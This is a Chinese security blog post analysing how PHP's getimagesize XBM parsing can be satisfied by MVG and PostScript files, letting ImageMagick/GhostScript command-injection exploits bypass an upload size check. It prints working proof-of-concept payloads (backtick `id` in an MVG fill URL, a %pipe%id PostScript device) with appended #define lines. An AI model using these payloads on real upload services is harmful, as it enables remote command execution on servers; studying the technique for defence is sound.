阿八博客

  • 100000+

    文章

  • 23

    评论

  • 20

    友链

  • 最近新加了很多技术文章，大家多来逛逛吧~~~~
  • 喜欢这个网站的朋友可以加一下QQ群,我们一起交流技术。

imagemagick邂逅getimagesize的那点事儿

欢迎来到阿八个人博客网站。本 阿八个人博客 网站提供最新的站长新闻,各种互联网资讯。 喜欢本站的朋友可以收藏本站,或者加QQ:我们大家一起来交流技术! URL链接：https://www.abboke.com/rz/2019/1010/116585.html

前段时间写的文章，在微博上说HW结束分享一下，总算可以发了。感谢 @voidfyoo 提出的这个问题。

今天遇到一个代码，大致如下：

codehilite">
<?php$filename = $_FILES['image']['tmp_name'];$size = getimagesize($filename);if ($size && $size[0] > 100 && $size[1] > 100) {    $img = new Imagick($_FILES['image']['tmp_name']);    $img->cropThumbnailImage(100, 100);    $img->writeImage('newimage.gif');}

用户上传的文件如果大于100px，则用Imagick处理成100x100的缩略图，再存储在硬盘上。

通过这个代码，我们很容易想到用Imagemagick的漏洞进行测试，但这里前面对图片大小用getimagesize进行了限制，之前爆出来的那些POC均无法通过校验，因为getimagesize并不支持类似PostScript、MVG这样的图片格式。

这时候我们怎么绕过这个限制呢？

0x01 Imagemagick命令执行不完全回顾

Imagemagick历史上曾出现过的很多命令执行漏洞，我在vulhub里做过以下三个：

CVE-2016-3714CVE-2018-16509CVE-2019-6116

第一个是Imagemagick在处理mvg格式图片时导致的命令注入，后两个都是在处理PostScript文件时因为使用了GhostScript，而GhostScript中存在的命令注入。

Imagemagick是一个大而全的图片处理库，他能处理日常生活中见到的绝大多数图片格式，比如jpg、gif、png等，当然也包括日常生活中很少见到的图片格式，比如前面说的mvg和ps。

这三个漏洞的具体原理网上很多文章也分析过，我这里就不再分析了，但我们思考一下：一个文件交给Imagemagick处理，他是怎么知道这是哪种格式的图片，并如何处理呢？

显然需要一个方法来区分文件类型，而单纯用文件名后缀来判断是不合理的（文件后缀并不是构成文件名的必要元素），常规的做法就是通过文件头来判断。

随便翻一下Imagemagick的代码，我就发现大多数文件格式的处理中，通常有一个函数，用来判断这个文件是否是对应的格式。

比如：

codehilite">
// coders/ps.cstatic MagickBooleanType IsPS(const unsigned char *magick,const size_t length){  if (length < 4)    return(MagickFalse);  if (memcmp(magick,"%!",2) == 0)    return(MagickTrue);  if (memcmp(magick,"\004%!",3) == 0)    return(MagickTrue);  return(MagickFalse);}// coders/mvg.cstatic MagickBooleanType IsMVG(const unsigned char *magick,const size_t length){  if (length < 20)    return(MagickFalse);  if (LocaleNCompare((const char *) magick,"push graphic-context",20) == 0)    return(MagickTrue);  return(MagickFalse);}

这两个函数就是判断文件是否是postscript和mvg格式。很显然，他这里是通过文件头来判断，也就是说，如果想让Imagemagick用ps的处理方法来处理图片，这个图片的前几个字节必须是%!或\004%!。

这也很好理解，文件头的意义就是标示这个文件是什么类型的文件。

所以，如果我们想利用Imagemagick的命令执行漏洞，必须要给他传入一个合法的mvg或ps文件，或者至少文件头要满足要求。

0x02 深入getimagesize

通过翻阅PHP文档，可知getimagesize支持的图片类型有 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM，WBMP：

image.png

那么这时候就犯难了，ps和mvg并不在其中。如果我们传入一个ps文件，getimagesize处理时就会失败并返回false，那么就不会执行到Imagick那里。这种方法也是当初ImageTragick漏洞出现时，很多文章推荐的缓解措施。

似乎很安全，不过我们应该深入研究一下getimagesize究竟是如何处理图片的。

下载php源码，ext/standard/image.c这个文件是关键，看到如下函数：

codehilite">
static void php_getimagesize_from_stream(php_stream *stream, zval *info, INTERNAL_FUNCTION_PARAMETERS) /* {{{ */{    int itype = 0;    struct gfxinfo *result = NULL;    if (!stream) {        RETURN_FALSE;    }    itype = php_getimagetype(stream, NULL);    switch( itype) {        case IMAGE_FILETYPE_GIF:            result = php_handle_gif(stream);            break;        case IMAGE_FILETYPE_JPEG:            //...        case ...

可见，这里逻辑是首先用php_getimagetype(stream, NULL)来获取图片格式，然后进入一个switch语句，根据格式来分配具体的处理方法。

看看PHP是如何获取图片格式的：

codehilite">
PHPAPI int php_getimagetype(php_stream * stream, char *filetype){    char tmp[12];    int twelve_bytes_read;    if ( !filetype) filetype = tmp;    if((php_stream_read(stream, filetype, 3)) != 3) {        php_error_docref(NULL, E_NOTICE, "Read error!");        return IMAGE_FILETYPE_UNKNOWN;    }/* BYTES READ: 3 */    if (!memcmp(filetype, php_sig_gif, 3)) {        return IMAGE_FILETYPE_GIF;    } else if (!memcmp(filetype, php_sig_jpg, 3)) {        return IMAGE_FILETYPE_JPEG;    } else if (!memcmp(filetype, php_sig_png, 3)) {        if (php_stream_read(stream, filetype+3, 5) != 5) {            php_error_docref(NULL, E_NOTICE, "Read error!");            return IMAGE_FILETYPE_UNKNOWN;        }        if (!memcmp(filetype, php_sig_png, 8)) {            return IMAGE_FILETYPE_PNG;        } else {            php_error_docref(NULL, E_WARNING, "PNG file corrupted by ASCII conversion");            return IMAGE_FILETYPE_UNKNOWN;        }    } else if (!memcmp(filetype, php_sig_swf, 3)) {        return IMAGE_FILETYPE_SWF;    } else if (!memcmp(filetype, php_sig_swc, 3)) {        return IMAGE_FILETYPE_SWC;    } else if (!memcmp(filetype, php_sig_psd, 3)) {        return IMAGE_FILETYPE_PSD;    } else if (!memcmp(filetype, php_sig_bmp, 2)) {        return IMAGE_FILETYPE_BMP;    } else if (!memcmp(filetype, php_sig_jpc, 3)) {        return IMAGE_FILETYPE_JPC;    } else if (!memcmp(filetype, php_sig_riff, 3)) {        if (php_stream_read(stream, filetype+3, 9) != 9) {            php_error_docref(NULL, E_NOTICE, "Read error!");            return IMAGE_FILETYPE_UNKNOWN;        }        if (!memcmp(filetype+8, php_sig_webp, 4)) {            return IMAGE_FILETYPE_WEBP;        } else {            return IMAGE_FILETYPE_UNKNOWN;        }    }    if (php_stream_read(stream, filetype+3, 1) != 1) {        php_error_docref(NULL, E_NOTICE, "Read error!");        return IMAGE_FILETYPE_UNKNOWN;    }/* BYTES READ: 4 */    if (!memcmp(filetype, php_sig_tif_ii, 4)) {        return IMAGE_FILETYPE_TIFF_II;    } else if (!memcmp(filetype, php_sig_tif_mm, 4)) {        return IMAGE_FILETYPE_TIFF_MM;    } else if (!memcmp(filetype, php_sig_iff, 4)) {        return IMAGE_FILETYPE_IFF;    } else if (!memcmp(filetype, php_sig_ico, 4)) {        return IMAGE_FILETYPE_ICO;    }    /* WBMP may be smaller than 12 bytes, so delay error */    twelve_bytes_read = (php_stream_read(stream, filetype+4, 8) == 8);/* BYTES READ: 12 */    if (twelve_bytes_read && !memcmp(filetype, php_sig_jp2, 12)) {        return IMAGE_FILETYPE_JP2;    }/* AFTER ALL ABOVE FAILED */    if (php_get_wbmp(stream, NULL, 1)) {        return IMAGE_FILETYPE_WBMP;    }    if (!twelve_bytes_read) {        php_error_docref(NULL, E_NOTICE, "Read error!");        return IMAGE_FILETYPE_UNKNOWN;    }    if (php_get_xbm(stream, NULL)) {        return IMAGE_FILETYPE_XBM;    }    return IMAGE_FILETYPE_UNKNOWN;}

这个函数很长，首先从流里读了3个字节，进行了一批判断（用memcmp对比），其实也就是对比图片头；如果没找到，则再读取一个字节，对比4个字节长度的图片头；如果还没找到，再读取8个字节，看图片是否是jp2格式；如果还不是，则用php_get_wbmp与php_get_xbm两个函数判断图片是否是wbmp与xbm格式。

前面比较文件头的部分，已经和Imagemagick漏洞利用条件冲突了，毕竟一个文件不可能既是ps文件头，又是gif文件头，那么只能寄希望于php_get_wbmp与php_get_xbm两个函数。

php_get_wbmp是没戏的，因为他要求第一个字节必须是\x00：

codehilite">
static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check){    int i, width = 0, height = 0;    if (php_stream_rewind(stream)) {        return 0;    }    /* get type */    if (php_stream_getc(stream) != 0) {        return 0;    }

那么看一下php_get_xbm：

codehilite">
static int php_get_xbm(php_stream *stream, struct gfxinfo **result){    char *fline;    char *iname;    char *type;    int value;    unsigned int width = 0, height = 0;    if (result) {        *result = NULL;    }    if (php_stream_rewind(stream)) {        return 0;    }    while ((fline=php_stream_gets(stream, NULL, 0)) != NULL) {        iname = estrdup(fline); /* simple way to get necessary buffer of required size */        if (sscanf(fline, "#define %s %d", iname, &value) == 2) {            if (!(type = strrchr(iname, '_'))) {                type = iname;            } else {                type++;            }            if (!strcmp("width", type)) {                width = (unsigned int) value;                if (height) {                    efree(iname);                    break;                }            }            if (!strcmp("height", type)) {                height = (unsigned int) value;                if (width) {                    efree(iname);                    break;                }            }        }        efree(fline);        efree(iname);    }    if (fline) {        efree(fline);    }    if (width && height) {        if (result) {            *result = (struct gfxinfo *) ecalloc(1, sizeof(struct gfxinfo));            (*result)->width = width;            (*result)->height = height;        }        return IMAGE_FILETYPE_XBM;    }    return 0;}

这函数主要是一个大while循环，遍历了文件的每一行。从这里也能看出，xbm图片是一个文本格式的文件，而不像其他图片一样是二进制文件。

如果某一行格式满足#define %s %d，那么取出其中的字符串和数字，再从字符串中取出width或height，将数字作为图片的长和宽。

逻辑很简单呀，文本格式，而且没有限制文件头，只要有某两行可以控制即可。这和我们Imagemagick的POC差别并不大，显然是可以兼容的。

0x03 编写同时符合getimagesize与Imagemagick的POC

理论基础结束，我们来编写一下POC吧。

首先拿出原mvg格式的POC：

codehilite">
push graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'pop graphic-context

我们只需要在后面增加上#define %s %d即可：

codehilite">
push graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'pop graphic-context#define xlogo_width 200#define xlogo_height 200

getimagesize成功获取其大小：

image.png

用存在漏洞的imagemagick进行测试，命令成功执行：

image.png

ps也一样，我们借助CVE-2018-16509的POC进行构造：

codehilite">
%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%id) currentdevice putdeviceprops/test {#define xlogo64_width 64#define xlogo64_height 64}

用getimagesize成功获取图片大小：

image.png

用存在漏洞的imagemagick+GhostScript进行测试，命令成功执行：

image.png

0x04 后记

本来想写一下Discuz下的利用的，但是鉴于某条例的规定，漏洞分析不能乱发，再加我粗略找到的利用链本身也不太完整，有一些条件限制，并不是特别好，所以就不献丑了。

事实上这个技巧在刚过去的实战中有用到，并不局限于Discuz或某个CMS。因为imagemagick和ghostscript的漏洞层出不穷，也在侧面辅助了黑盒渗透与PHP代码审计，待下一次0day爆发，也可以利用这个技巧进行盲测。

相关文章